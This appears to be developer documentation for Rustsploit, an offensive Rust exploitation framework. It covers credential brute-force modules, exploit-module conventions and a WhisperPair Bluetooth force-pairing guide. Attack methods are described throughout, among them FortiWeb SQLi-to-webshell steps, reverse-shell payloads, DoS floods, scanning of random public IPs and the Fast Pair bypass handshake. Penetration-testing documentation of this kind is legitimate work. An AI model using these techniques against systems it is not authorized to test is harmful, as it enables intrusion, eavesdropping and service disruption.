The `Duration` is the user-configured timeout (from `setg timeout N` or the prompt),
|
||||
passed through so inner probe functions honour it — no hardcoded timeouts.
|
||||
|
||||
For password-only protocols (VNC, SNMP), set `password_only: true` and `drop(user)`
|
||||
in the closure:
|
||||
|
||||
```rust
|
||||
|host, port, user, pass, timeout| async move {
|
||||
drop(user);
|
||||
probe(&host, port, &pass, timeout).await
|
||||
}
|
||||
```
|
||||
|
||||
### Probe return type
|
||||
|
||||
Return `LoginResult` from probes:
|
||||
|
||||
```rust
|
||||
async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginResult {
|
||||
// ... attempt login ...
|
||||
LoginResult::Success // valid credential
|
||||
LoginResult::AuthFailed // wrong password, keep going
|
||||
LoginResult::Error { // transient or permanent error
|
||||
message: format!("connect: {e}"),
|
||||
retryable: true,
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Utility functions in creds_helper
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
| `connect_with_timeout(addr, deadline)` | Flattened async TCP connect → `io::Result<TcpStream>` |
|
||||
| `read_exact_with_timeout(reader, buf, deadline)` | Flattened exact-read with timeout |
|
||||
| `parse_host_port(target, default_port)` | Public host/port splitter for reuse |
|
||||
|
||||
---
|
||||
|
||||
## Manual Prompts (non-creds_helper modules)
|
||||
|
||||
For modules that don't use `creds_helper::run` (e.g. `ftp_bruteforce` with its FTPS
|
||||
fallback and subnet branch), prompt interactively for:
|
||||
|
||||
- Port number
|
||||
- Username wordlist path
|
||||
- Password wordlist path
|
||||
- Concurrency limit (threads / semaphore slots)
|
||||
- Stop-on-success toggle
|
||||
- Output file path
|
||||
- Verbose logging toggle
|
||||
|
||||
Use the shared `cfg_prompt_*` helpers from `crate::utils`, which respect the priority chain (API custom_prompts > global options > interactive stdin):
|
||||
```rust
|
||||
use crate::utils::{cfg_prompt_required, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Input Handling
|
||||
|
||||
- **Trim** wordlist entries and skip blank lines
|
||||
- **Early exit** if a wordlist is empty
|
||||
- **Validate paths** — no `..`, use `canonicalize()`
|
||||
- **Stream large files** — for password files >150 MB, use streaming mode (see RDP module)
|
||||
|
||||
---
|
||||
|
||||
## Concurrency Model
|
||||
|
||||
All bruteforce modules use the shared engine (`crate::modules::creds::utils`):
|
||||
|
||||
| Function | Use Case |
|
||||
|----------|----------|
|
||||
| `run_bruteforce()` / `run_bruteforce_streaming()` | Single-target credential testing with concurrency, progress, retry |
|
||||
| `run_subnet_bruteforce()` | CIDR subnet scanning with per-host credential testing |
|
||||
| `generate_combos()` | Generate user/password pairs (combo or linear mode) |
|
||||
|
||||
Avoid custom concurrency — always use the engine which handles semaphores, progress reporting, lockout detection, and credential storage.
|
||||
|
||||
---
|
||||
|
||||
## IPv6 Support
|
||||
|
||||
Use `format_addr` to wrap IPv6 addresses in brackets and handle port suffixes:
|
||||
|
||||
```rust
|
||||
// Good
|
||||
let addr = format_addr(&ip, port); // "[::1]:22"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Error Classification
|
||||
|
||||
Implement specific error types for better debugging and reporting:
|
||||
|
||||
```rust
|
||||
enum CredsError {
|
||||
ConnectionFailed(String),
|
||||
AuthenticationFailed,
|
||||
CertificateError,
|
||||
Timeout,
|
||||
NetworkError(String),
|
||||
ProtocolError(String),
|
||||
ToolNotFound,
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Source Port Awareness
|
||||
|
||||
All TCP/UDP connections must go through the framework's network wrappers so
|
||||
`setg source_port <port>` is honoured universally:
|
||||
|
||||
| Wrapper | Use case |
|
||||
|---------|----------|
|
||||
| `tcp_connect_str(addr, timeout)` | Async TCP from `"host:port"` string |
|
||||
| `tcp_connect_addr(addr, timeout)` | Async TCP from `SocketAddr` |
|
||||
| `blocking_tcp_connect(addr, timeout)` | Sync TCP for `spawn_blocking` contexts |
|
||||
| `udp_bind(Some(ip))` | UDP socket with correct address family |
|
||||
|
||||
**Third-party library pattern:** Libraries like `suppaftp` and `telnet` that
|
||||
normally create their own TCP connections must receive a pre-connected stream
|
||||
from the framework wrapper:
|
||||
|
||||
```rust
|
||||
// FTP: connect through wrapper, then hand stream to suppaftp
|
||||
let tcp_stream = tcp_connect_str(&addr, timeout).await?;
|
||||
let mut ftp = AsyncFtpStream::connect_with_stream(tcp_stream).await?;
|
||||
|
||||
// Telnet: connect through wrapper, then hand stream to telnet crate
|
||||
let tcp_stream = blocking_tcp_connect(&socket_addr, timeout)?;
|
||||
let telnet = Telnet::from_stream(Box::new(tcp_stream), 500);
|
||||
```
|
||||
|
||||
**Never call `TcpStream::connect()`, `UdpSocket::bind("0.0.0.0:0")`, or
|
||||
library-level connect functions directly** — they bypass source port binding.
|
||||
|
||||
---
|
||||
|
||||
## TLS / STARTTLS
|
||||
|
||||
Accept invalid certificates for offensive tooling convenience (e.g., `danger_accept_invalid_certs(true)` in reqwest / native-tls), but document this clearly in module comments and output.
|
||||
|
||||
---
|
||||
|
||||
## Result Persistence
|
||||
|
||||
Offer to write `host -> user:pass` pairs to a local file (default `./results.txt`):
|
||||
|
||||
```rust
|
||||
if let Some(ref path) = output_file {
|
||||
let line = format!("{} -> {}:{}\n", target, user, pass);
|
||||
fs::OpenOptions::new().create(true).append(true).open(path)?.write_all(line.as_bytes())?;
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Available Credential Modules (28 total)
|
||||
|
||||
### Remote Access Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `ssh_bruteforce` | 22 | libssh2 password auth | Default creds, combo mode, streaming wordlists |
|
||||
| `ssh_spray` | 22 | Password spray | One password across many targets |
|
||||
| `ssh_user_enum` | 22 | Timing attack | CVE-2018-15473 style user enumeration |
|
||||
| `telnet_bruteforce` | 23, 2323 | IAC negotiation + prompt detection | Multi-port, 55+ IoT defaults, shell verification, streaming |
|
||||
| `telnet_hose` | 23, 2323, 23231 | Default creds mass scan | 500 concurrent, multi-port per host |
|
||||
| `rdp_bruteforce` | 3389 | Native CredSSP/NTLM | NLA/TLS/RDP/Negotiate security levels |
|
||||
| `vnc_bruteforce` | 5900 | DES challenge-response (RFB) | Password-only, bit-reversed DES key |
|
||||
| `ftp_bruteforce` | 21 | FTP/FTPS LOGIN | TLS fallback, error classification |
|
||||
| `ftp_anonymous` | 21 | Anonymous login check | FTPS fallback, LIST verification |
|
||||
|
||||
### Email Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `smtp_bruteforce` | 25, 465, 587 | SMTP AUTH (PLAIN/LOGIN/CRAM-MD5) | STARTTLS support |
|
||||
| `pop3_bruteforce` | 110, 995 | POP3 USER/PASS | TLS/STLS support |
|
||||
| `imap_bruteforce` | 143, 993 | IMAP LOGIN | IMAPS (implicit TLS), RFC 3501 escaping |
|
||||
|
||||
### Database Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `mysql_bruteforce` | 3306 | Native wire protocol (SHA1 handshake) | HandshakeV10 parsing, salt extraction |
|
||||
| `postgres_bruteforce` | 5432 | MD5 or cleartext auth | Wire protocol, `md5(md5(pass+user)+salt)` |
|
||||
| `redis_bruteforce` | 6379 | AUTH command (legacy + ACL) | Redis 6+ ACL support, INFO version detection |
|
||||
| `elasticsearch_bruteforce` | 9200 | HTTP Basic Auth | Cluster detection, open-access check |
|
||||
| `couchdb_bruteforce` | 5984 | Session auth + Basic fallback | `/_session` POST, `/_all_dbs` verification |
|
||||
| `memcached_bruteforce` | 11211 | SASL PLAIN (binary protocol) | Open memcached detection, version check |
|
||||
|
||||
### Web Protocols
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `http_basic_bruteforce` | 80, 443 | HTTP Basic Authentication | HTTPS, custom paths, redirect detection |
|
||||
| `fortinet_bruteforce` | 443 | FortiOS web login | CSRF token extraction, realm support |
|
||||
|
||||
### Network Management
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `snmp_bruteforce` | 161 (UDP) | SNMPv1/v2c community strings | Custom SNMP packet, BER parsing |
|
||||
|
||||
### IoT / Messaging
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `mqtt_bruteforce` | 1883, 8883 | MQTT 3.1.1 CONNECT | TLS/SSL, anonymous detection, client ID |
|
||||
| `rtsp_bruteforce` | 554 | RTSP Basic Auth | Path brute-forcing, custom headers |
|
||||
|
||||
### VPN
|
||||
|
||||
| Module | Port(s) | Auth Method | Features |
|
||||
|--------|---------|-------------|----------|
|
||||
| `l2tp_bruteforce` | 1701 (UDP) | L2TPv2 SCCRQ detection | Gateway reachability probe (real L2TP credential brute-force needs full PPP+CHAP stack — out of scope) |
|
||||
|
||||
### Utility
|
||||
|
||||
| Module | Description |
|
||||
|--------|-------------|
|
||||
| `enablebruteforce` | Raise file descriptor limits (ulimit) for high-concurrency scans |
|
||||
| `sample_cred_check` | Template/example credential check module |
|
||||
| `acti_camera_default` | Multi-protocol default credential check (FTP/SSH/Telnet/HTTP) |
|
||||
| `camxploit` | Mass camera scanner with port + path + credential testing |
|
||||
|
||||
---
|
||||
|
||||
## Mass Scanning Support
|
||||
|
||||
All 28 credential modules support mass scanning via the framework's multi-target dispatcher. The framework automatically handles:
|
||||
|
||||
- **Random targets** (`random`, `0.0.0.0/0`) — generates random public IPs with exclusion-set enforcement
|
||||
- **CIDR ranges** (e.g., `192.168.1.0/24`) — expands and iterates all hosts
|
||||
- **File-based targets** — reads one target per line from a file path
|
||||
- **Comma-separated targets** — splits and runs against each target
|
||||
|
||||
Mass scan is handled entirely at the framework level by `scheduler::run`. Modules
|
||||
do **not** need `is_mass_scan_target()` checks or `run_mass_scan()` calls — the
|
||||
scheduler fans out every target type and invokes modules with `Target::Single`.
|
||||
@@ -0,0 +1,61 @@
|
||||
# Credits
|
||||
|
||||
---
|
||||
|
||||
## Project
|
||||
|
||||
| Role | Name |
|
||||
|------|------|
|
||||
| Project Lead | s-b-repo |
|
||||
| Language | 100% Rust |
|
||||
|
||||
---
|
||||
|
||||
## Inspiration
|
||||
|
||||
- [RouterSploit](https://github.com/threat9/routersploit) — modular embedded exploitation framework
|
||||
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — industry-standard exploitation framework
|
||||
- [pwntools](https://github.com/Gallopsled/pwntools) — CTF exploit library
|
||||
|
||||
---
|
||||
|
||||
## Wordlists
|
||||
|
||||
- [SecLists](https://github.com/danielmiessler/SecLists) — the majority of bundled wordlists
|
||||
- Custom additions in `lists/` — documented in `lists/readme.md`
|
||||
|
||||
---
|
||||
|
||||
## Key Dependencies
|
||||
|
||||
| Crate | Purpose |
|
||||
|-------|---------|
|
||||
| `tokio` | Async runtime |
|
||||
| `reqwest` | HTTP client |
|
||||
| `clap` | CLI argument parsing |
|
||||
| `anyhow` | Error handling |
|
||||
| `colored` | Terminal color output |
|
||||
| `axum` | REST API framework |
|
||||
| `suppaftp` | FTP/FTPS (v7, tokio async) |
|
||||
| `hickory-client` | DNS (v0.25, builder pattern) |
|
||||
| `ipnetwork` | CIDR range matching |
|
||||
| `rustls` | TLS (v0.23+) |
|
||||
| `bytes` | Buffer management (`BytesMut`) |
|
||||
| `subtle` | Constant-time API key comparison |
|
||||
| `strsim` | Fuzzy module name matching (Levenshtein) |
|
||||
| `rustyline` | Interactive shell line editing |
|
||||
| `serde` / `serde_json` | Serialization / JSON persistence |
|
||||
| `ssh2` | SSH protocol support |
|
||||
| `des` / `aes` / `cipher` | Cryptographic primitives |
|
||||
| `chrono` | Date/time handling |
|
||||
| `uuid` | Unique identifier generation |
|
||||
|
||||
---
|
||||
|
||||
## Legal
|
||||
|
||||
> ⚠️ Rustsploit is intended for **authorized security testing and research only**.
|
||||
> Obtain explicit written permission before targeting any system you do not own.
|
||||
> The authors accept no liability for misuse.
|
||||
|
||||
Licensed under the terms in [LICENSE](../LICENSE).
|
||||
@@ -0,0 +1,2 @@
|
||||
# Donation
|
||||
|
||||
@@ -0,0 +1,259 @@
|
||||
# Exploit Modules Guide
|
||||
|
||||
Best practices for writing and extending exploit modules in Rustsploit.
|
||||
|
||||
---
|
||||
|
||||
## CVE Referencing
|
||||
|
||||
Always mention CVE IDs, vendor names, and affected products in:
|
||||
- The module file docstring / top-level comments
|
||||
- Output messages (e.g., `[*] Testing CVE-2025-14847 on {}`, target)
|
||||
- The [Module Catalog](Module-Catalog.md)
|
||||
|
||||
---
|
||||
|
||||
## Response Validation
|
||||
|
||||
Validate server responses before declaring success — false positives hurt credibility:
|
||||
|
||||
```rust
|
||||
if response.status() == 200 && body.contains("expected_indicator") {
|
||||
println!("{} Confirmed vulnerable: {}", "[+]".green(), target);
|
||||
} else {
|
||||
println!("{} Not vulnerable or patched", "[-]".red());
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Error Handling — no `.unwrap()`, no swallowing
|
||||
|
||||
> **Note:** Rustsploit is exploitation-only — the `check()` / `CheckResult`
|
||||
> verification phase was removed. The `check(...)` snippets below are kept only
|
||||
> to illustrate the error-handling discipline; apply the same patterns in your
|
||||
> `run(&ModuleCtx) -> Result<ModuleOutcome>` body and emit `Finding`s instead of
|
||||
> returning a `CheckResult`.
|
||||
|
||||
Modules must surface transport and decode failures explicitly. The framework
|
||||
treats a panicking module as a hard build/runtime failure, and silently
|
||||
swallowing a failed `send()` or `text()` causes `run()` to lie about what
|
||||
happened on the wire.
|
||||
|
||||
**Forbidden patterns:**
|
||||
|
||||
```rust
|
||||
// .unwrap() / .expect() — panic on error.
|
||||
let resp = client.get(&url).send().await.unwrap();
|
||||
|
||||
// .unwrap_or_default() on Result-returning HTTP calls — turns transport
|
||||
// or decode failure into an empty body the caller assumes is the real one.
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
|
||||
// `if let Ok(r) = ...` without an `else` arm — drops the network error
|
||||
// and silently falls through to "NotVulnerable" / "not detected".
|
||||
if let Ok(r) = client.get(&url).send().await {
|
||||
/* … */
|
||||
}
|
||||
```
|
||||
|
||||
**Preferred patterns:**
|
||||
|
||||
In `check(...) -> CheckResult`, return `CheckResult::Error(…)` for failures so
|
||||
operators can distinguish "couldn't reach the host" from "host is patched":
|
||||
|
||||
```rust
|
||||
match client.get(&url).send().await {
|
||||
Ok(r) => match r.text().await {
|
||||
Ok(body) if body.contains("foo") =>
|
||||
CheckResult::Vulnerable("foo detected".into()),
|
||||
Ok(_) => CheckResult::NotVulnerable("foo not present".into()),
|
||||
Err(e) => CheckResult::Error(format!("body decode: {}", e)),
|
||||
},
|
||||
Err(e) => CheckResult::Error(format!("request failed: {}", e)),
|
||||
}
|
||||
```
|
||||
|
||||
In `run(...) -> anyhow::Result<()>`, prefer `?` with `anyhow::Context` for
|
||||
abort-the-flow failures, and use `match` with `crate::mprintln!` when the
|
||||
loop should report-and-continue:
|
||||
|
||||
```rust
|
||||
use anyhow::Context;
|
||||
|
||||
let resp = client.get(&url).send().await.context("probe failed")?;
|
||||
let body = resp.text().await.context("read body")?;
|
||||
|
||||
for path in candidate_paths {
|
||||
match client.get(format!("{}{}", base, path)).send().await {
|
||||
Ok(r) => { /* inspect r */ }
|
||||
Err(e) => crate::mprintln!("{} {}: {}", "[-]".red(), path, e),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Helpers available** (all in `src/utils/network.rs`, re-exported as `crate::utils::*`):
|
||||
|
||||
- `http_get_status_body(&client, &url) -> anyhow::Result<(u16, String)>` — single call that surfaces both transport and body-decode failures via `anyhow::Context`. Use it in `run()` with `let (_, body) = ... .await?;`. Use it in `check()` with `match`.
|
||||
- `http_get_status_headers_body(&client, &url) -> anyhow::Result<(u16, HeaderMap, String)>` — same but also returns the response headers, for fingerprints that look at `Server` / `Via` / `X-Powered-By`.
|
||||
- `header_string(headers, "name") -> String` — reads a header as `String`. Returns `""` if absent and the literal sentinel `"<non-utf8>"` if present-but-non-utf8, so the swallow that `.to_str().ok().unwrap_or("")` does silently is now visible in module output. Avoid the older `.to_str().ok().unwrap_or("")` chain — it hides the non-utf8 case.
|
||||
|
||||
**The full list of banned patterns lives in [`BAD_PATTERNS.md`](BAD_PATTERNS.md)** — 91 regex patterns covering panicking error handling, silent error swallowing, lint suppression, panic vectors, lossy numeric casts, async/blocking pitfalls, logging discipline, HTTP-client policy, iterator glitches, style and embedded secrets. The doc ships with a copy-paste reproducer that returns a non-zero exit on any hit. Quick-reference banned highlights:
|
||||
|
||||
- `.unwrap()`, `.expect("…")`, `.unwrap_or_default()`, `.unwrap_or(…)`, `.unwrap_or_else(…)`, `.to_str().ok().unwrap_or(…)`
|
||||
- `#[allow(dead_code)]`, `#[allow(unused_imports)]`, `#[allow(unused_variables)]`, any other `#[allow(...)]`
|
||||
- `panic!()`, `unreachable!()`, `todo!()`, `unimplemented!()`, `assert!`, `assert_eq!`
|
||||
- `if let Ok(_) = ...` without an `else` (silent fall-through) — use `match`
|
||||
- `Err(_) => …` anonymous binding even when the arm has a side effect. Always bind the value and surface it via `Display` — e.g. `Err(elapsed) => anyhow::bail!("connect to {} timed out after {:?}: {}", addr, CONNECT_TIMEOUT, elapsed)`
|
||||
- `let _ = <expression>;` where the expression returns `Result` — use `if let Err(e) = ...` and log `e`
|
||||
- Direct array index `arr[i]` and slice range `&buf[..n]` — use `arr.get(i)` / `buf.get(..n).context(...)?`
|
||||
- Lossy numeric casts (`as u16`, `as u64`, etc.) — use `try_into().with_context(...)?`
|
||||
- Sync I/O in async functions (`std::fs::*`, `std::process::Command`, `std::thread::sleep`, `std::net::TcpStream`) — use `tokio::*`
|
||||
|
||||
**Native libraries (`crate::native::*`):** prefer in-tree helpers over third-party crates / hand-rolled formatting:
|
||||
|
||||
- `crate::native::hex::encode(&bytes)` for response-byte preview hex.
|
||||
- `crate::utils::url_encode(s)` (delegates to `crate::native::url_encoding::encode`) for query / form payload encoding.
|
||||
- `crate::native::network::*` for raw-socket DoS modules.
|
||||
|
||||
---
|
||||
|
||||
## Artifact Handling
|
||||
|
||||
If the exploit downloads or writes files (e.g., memory dumps, webshells):
|
||||
- Store in the current working directory or a named subfolder
|
||||
- Name files descriptively: `mongobleed_results_{target}.txt`, `nginx_pwner_results_{target}.txt`
|
||||
- Inform the operator where output was written
|
||||
|
||||
---
|
||||
|
||||
## Clean-Up Instructions
|
||||
|
||||
If the exploit adds credentials or accounts (e.g., camera modules), document:
|
||||
- The impact of the change
|
||||
- How to revert (e.g., default creds to restore, commands to run)
|
||||
|
||||
---
|
||||
|
||||
## Interactive Options
|
||||
|
||||
Use `cfg_prompt_*` helpers from `crate::utils` if end-user input is needed. These respect the priority chain (API custom_prompts > global options > interactive stdin), ensuring modules work in shell, API, and CLI modes:
|
||||
|
||||
```rust
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_yes_no};
|
||||
|
||||
let command = cfg_prompt_default("command", "Command to execute", "id").await?;
|
||||
let deploy = cfg_prompt_yes_no("deploy_webshell", "Deploy webshell?", true).await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Mass-Scan Compatibility
|
||||
|
||||
Mass-scan fan-out is handled by `scheduler::run` for every module. Modules **do not**
|
||||
implement their own target iteration — the scheduler fans out `Cidr` / `File` /
|
||||
`Random` / `Multi` targets and calls `run()` once per host with `Target::Single`.
|
||||
|
||||
### What modules must do
|
||||
|
||||
1. **Use target-specific filenames.** When writing output files, include the target
|
||||
in the filename to avoid clobbering under concurrent mass scan:
|
||||
|
||||
```rust
|
||||
// Bad — concurrent tasks overwrite each other
|
||||
let path = "results.txt";
|
||||
|
||||
// Good — each target gets its own file
|
||||
let safe = target.replace(['/', ':', '.', '[', ']'], "_");
|
||||
let path = format!("results_{}.txt", safe);
|
||||
```
|
||||
|
||||
Examples of modules already fixed: `mongobleed` (`vulnerable_mongodb_{timestamp}.txt`),
|
||||
`pachev_ftp` (`results_{target}.txt`), ZTE (`config_{host}.bin`),
|
||||
Tomcat RCE (per-invocation temp directory), JWKS (`jwks_{target}_{kid}_{i}.pem`).
|
||||
|
||||
2. **Guard interactive/REPL code with `is_batch_mode()`:**
|
||||
|
||||
```rust
|
||||
if crate::utils::is_batch_mode() {
|
||||
anyhow::bail!("Interactive REPL not supported in mass-scan mode.");
|
||||
}
|
||||
```
|
||||
|
||||
Local-only exploits (e.g. Windows DWM CVE-2026-20805) should also bail:
|
||||
```rust
|
||||
if crate::utils::is_batch_mode() {
|
||||
anyhow::bail!("Local exploit generator — not suitable for mass scan.");
|
||||
}
|
||||
```
|
||||
|
||||
3. **Use framework network wrappers** so `setg source_port` is honoured across
|
||||
all concurrent fan-out tasks. See _Source Port Awareness_ in
|
||||
[Credential-Modules-Guide](Credential-Modules-Guide.md).
|
||||
|
||||
### What modules must NOT do
|
||||
|
||||
- **No per-module `EXCLUDED_RANGES` constants or `generate_random_public_ip()` calls.**
|
||||
The scheduler's `crate::exclusions::ExclusionSet` handles this.
|
||||
- **No `if is_mass_scan_target(target) { run_mass_scan(...) }` branches.**
|
||||
This pattern was removed in v0.5.1. The scheduler is the single fan-out engine.
|
||||
- **No raw `TcpStream::connect` or `UdpSocket::bind`.** Use the wrappers in
|
||||
`crate::utils::network`.
|
||||
|
||||
---
|
||||
|
||||
## Module-Specific Notes
|
||||
|
||||
### Hikvision RCE (CVE-2021-36260)
|
||||
- **Safe check** — writes/reads a test file to verify exploitability
|
||||
- **Unsafe reboot** — reboots the device to confirm (destructive)
|
||||
- **Command exec** — output retrieved, supports blind mode
|
||||
- **SSH shell** — deploys Dropbear SSH on port 1337
|
||||
|
||||
### MongoBleed (CVE-2025-14847)
|
||||
- Sends malicious compressed packet with inflated `uncompressedSize`
|
||||
- Parses error response to extract leaked memory chunks (field names / types)
|
||||
- Prints any leaked strings (potential credentials / data) to console
|
||||
- Includes deep-scan mode for extended analysis
|
||||
|
||||
### n8n RCE (CVE-2025-68613)
|
||||
- Authenticates via `/rest/login` (token / cookie-based)
|
||||
- Creates a malicious workflow with expression injection payload
|
||||
- Triggers via `/rest/workflows/{id}/run`
|
||||
- Cleans up test workflow after execution
|
||||
- **6 payload types:** Info, Command, Environment, Read File, Write File, Reverse Shell
|
||||
|
||||
### FortiWeb SQLi → RCE (CVE-2025-25257)
|
||||
- SQL injection via `Authorization: Bearer ';{injection}` header
|
||||
- Writes webshell via `SELECT INTO OUTFILE`
|
||||
- Uses `.pth` trigger for Python `chmod` execution
|
||||
- Interactive modes: deploy webshell, execute command, test SQLi only
|
||||
|
||||
### NginxPwner
|
||||
- **10 checks:** version disclosure, CRLF injection, PURGE method, variable leakage, merge slashes, header bypass / IP spoofing, alias traversal, `X-Accel-Redirect` bypass, PHP detection, CVE-2017-7529 integer overflow
|
||||
- Results saved to `nginx_pwner_results_{target}.txt`
|
||||
- Prints reminders for manual checks (Redis, CORS, request smuggling)
|
||||
|
||||
### DoS / Stress Testing
|
||||
|
||||
> ⚠️ Authorized testing only. These modules can cause service disruption.
|
||||
|
||||
| Module | Notes |
|
||||
|--------|-------|
|
||||
| `null_syn_exhaustion` | Raw socket, IP spoofing, XorShift128+ RNG, configurable PPS, >1M PPS capable |
|
||||
| `connection_exhaustion_flood` | FD-bounded semaphore, supports infinite mode with graceful Ctrl+C |
|
||||
| `tcp_connection_flood` | DNS pre-resolved, high-concurrency handshake stress, infinite mode |
|
||||
| `http2_rapid_reset` | CVE-2023-44487 — HTTP/2 stream reset flood |
|
||||
|
||||
---
|
||||
|
||||
## Framework-Level Multi-Target Support
|
||||
|
||||
All exploit modules automatically benefit from the framework's multi-target dispatcher. There is no need to implement target iteration inside individual modules. The framework handles:
|
||||
|
||||
- **Comma-separated targets** — `192.168.1.1,192.168.1.2,192.168.1.3`
|
||||
- **CIDR ranges** — `192.168.1.0/24` expands to all hosts in the subnet
|
||||
- **File-based targets** — pass a file path containing one target per line
|
||||
- **Random targets** — `random` or `0.0.0.0/0` generates random public IPs with exclusion-set enforcement
|
||||
|
||||
The dispatcher calls the module's `run()` function once per resolved target. Modules only need to handle a single target string.
|
||||
@@ -0,0 +1,145 @@
|
||||
# Fast Pair / WhisperPair Exploitation Guide (`exploits/bluetooth/wpair`)
|
||||
|
||||
> **Authorized testing only.** WhisperPair force-pairs Bluetooth audio
|
||||
> accessories without the owner's consent and can expose the microphone. Only
|
||||
> run it against devices you own or are explicitly authorized to test. The
|
||||
> rustsploit project ships this as a defensive/research capability for the
|
||||
> publicly disclosed **CVE-2025-36911** (KU Leuven COSIC).
|
||||
|
||||
## What it is
|
||||
|
||||
WhisperPair is a pairing-mode-bypass affecting many vendors' Google Fast Pair
|
||||
firmware (Sony, Jabra, JBL, Bose, Pixel Buds, Nothing, OnePlus, Soundcore,
|
||||
Marshall, …). A conforming accessory should only accept a Key-Based Pairing
|
||||
request while it is *discoverable*; vulnerable firmware accepts it at any time,
|
||||
so an attacker in range (~10–14 m) can silently pair, seize the
|
||||
microphone/controls, and — via Find Hub — track the device.
|
||||
|
||||
The `wpair` module implements the full Seeker (attacker) side as an interactive
|
||||
BLE sub-shell.
|
||||
|
||||
## How the handshake works (Paper §3.3.2)
|
||||
|
||||
1. The Seeker generates an ephemeral **secp256r1** keypair.
|
||||
2. ECDH against the Provider's **Anti-Spoofing public key** yields shared `z`;
|
||||
the session key is `K = SHA-256(z)[0..16]`.
|
||||
3. The 16-byte Key-Based Pairing request `[type=0x00][flags][provider MAC 6B][salt 8B]`
|
||||
is **AES-128-ECB** encrypted with `K`.
|
||||
4. The 80-byte payload `E_K(request) || seeker_public_key[64]` is written to the
|
||||
Key-Based Pairing characteristic (`FE2C1234-…`). A vulnerable Provider
|
||||
decrypts it (proving the Seeker knew the public key) and proceeds even when
|
||||
not in pairing mode.
|
||||
|
||||
## Requirements
|
||||
|
||||
- Build with the Bluetooth feature: `cargo run --features bluetooth -- -m exploits/bluetooth/wpair`
|
||||
- A local BLE controller, powered on (`bluetoothctl power on`).
|
||||
- Permission to drive the radio: run as root or grant `CAP_NET_RAW` to the binary.
|
||||
- `bluetoothctl` on `PATH` for the `pair` / `switch` commands.
|
||||
|
||||
## Detection vs. full takeover
|
||||
|
||||
> **You do not need a key to *detect* the bug.** `testall` / `exploit` send a
|
||||
> Key-Based Pairing request (flags `0x11` = INITIATE_BONDING | EXTENDED_RESPONSE)
|
||||
> and classify on whether the device **accepts the write out of pairing mode** — a
|
||||
> patched device rejects it at the GATT layer (insufficient auth/encryption). When
|
||||
> no Anti-Spoofing key is configured, `wpair` runs a *bypass probe* with a random
|
||||
> key: it still proves the vulnerability, it just can't derive the real session
|
||||
> key. The Anti-Spoofing key is only required to **complete** crypto pairing
|
||||
> (session key + passkey + account key). No public PoC (Python or Android) fetches
|
||||
> keys from Google — there is no public endpoint; the key is supplied or captured.
|
||||
|
||||
## Sourcing the Anti-Spoofing public key
|
||||
|
||||
For a *full takeover* the attack needs the **target model's Anti-Spoofing public
|
||||
key** (detection does not — see above). Google
|
||||
distributes the matching *private* key only to the manufacturer, but the
|
||||
*public* key is served to every Seeker (phone) so it can pair — keyed by the
|
||||
24-bit model ID. The built-in device table is the **KU Leuven COSIC WhisperPair
|
||||
research dataset** (~2,900 registered models with names, manufacturer, type and
|
||||
Find-Hub tracking flag — embedded from `model_ids.csv` and parsed lazily); it
|
||||
carries **names, not keys**, because anti-spoofing public keys are not published
|
||||
in bulk anywhere. `wpair` resolves a key in this order:
|
||||
|
||||
1. **Operator override (most reliable):** `setg antispoofing_key <base64>` — paste
|
||||
the key for your target once. This is the recommended path for a known device
|
||||
(e.g. your own earbuds), and works even for a SteadyState target whose advert
|
||||
carries no model ID.
|
||||
2. **Seed table:** a key shipped for that model ID (rare — we ship names, not keys).
|
||||
3. **Google Nearby Devices metadata API:** configure a URL template and key —
|
||||
`setg gfp_metadata_url <template>` and `setg gfp_api_key <key>`. The template
|
||||
may contain `{model_id}` (6 hex digits, upper-case) and `{api_key}`.
|
||||
|
||||
### Obtaining a key for your test device
|
||||
|
||||
- Capture the metadata fetch a real Android phone makes when first pairing the
|
||||
device (the public key is in the device metadata response), or
|
||||
- Configure the metadata API and run `harvest` to pull keys for the seed models,
|
||||
or
|
||||
- Supply it directly with `setg antispoofing_key <base64>`.
|
||||
|
||||
> The 256-bit Anti-Spoofing **private** key is not brute-forceable. "Harvesting"
|
||||
> means enumerating the 24-bit model-ID space against the metadata API to collect
|
||||
> **public** keys — see the `harvest` command (bounded to the seed table by
|
||||
> default).
|
||||
|
||||
## Interactive commands
|
||||
|
||||
| Command | Action |
|
||||
|---------|--------|
|
||||
| `scan` | Discover Fast Pair devices; classifies each as `PAIRING` (3-byte model ID) or `STEADY-STATE` (account-key filter — advertising but not in pairing mode, the prime target). |
|
||||
| `info` | Show discovered devices with model name, chipset, state, and Anti-Spoofing-key availability. |
|
||||
| `select <MAC>` | Set the current target. |
|
||||
| `exploit` | Full ECDH Key-Based Pairing exploit (force-pair) on the target, then plant a passkey + account key. |
|
||||
| `testall` | Non-destructive vulnerability test on every discovered device (plain KBP, ECDH-first so a vulnerable device isn't mis-reported as patched). |
|
||||
| `exploitall` | Run the full exploit on every discovered device. |
|
||||
| `nonce` | Conformance test §4.3 — replays identical KBP bytes; acceptance = no nonce freshness. |
|
||||
| `curve` | Conformance test §4.5 — sends an off-curve public key; acceptance = no point validation. |
|
||||
| `pair` | Bond via `bluetoothctl` (pair + trust + connect). |
|
||||
